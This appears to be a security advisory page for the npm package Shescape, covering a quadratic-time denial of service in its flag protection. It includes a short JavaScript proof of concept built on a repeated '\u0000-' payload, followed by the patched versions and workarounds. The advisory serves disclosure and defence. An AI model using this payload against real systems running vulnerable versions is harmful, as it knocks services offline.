npm · shescape
Shescape: Quadratic-time denial of service in the flag-protection
This impacts users of Shescape that have flag protection enabled, which is on by default, regardless of the API being used.
An attacker can cause a runtime quadratic in the input size, causing denial of service for large inputs.
import { Shescape } from "shescape";
// 1. Prerequisites
const options = {
//flagProtection unspecified
// Or
flagProtection: true,
};
// 2. Payload
let payload = "\u0000-".repeat(32000);
// 3. Usage
const shescape = new Shescape(options);
let callback;
callback = () => shescape.escape(payload);
// Or
callback = () => shescape.escapeAll([payload]);
// Or
callback = () => shescape.quote(payload);
// Or
callback = () => shescape.quoteAll([payload]);
const t0 = process.hrtime.bigint();
callback();
const ms = Number(process.hrtime.bigint() - t0) / 1e6;
// 4. Impact
console.log("Duration:", ms);
// Outputs "Duration:" followed by a number close to 20000
This bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.
If you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.
No patches will be released for version of Shescape lower than v2.0.0.
Alternatively, users of Shescape can 1) put restrictions on the length of untrusted input or 2) strip all content before the last - from untrusted inputs.
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.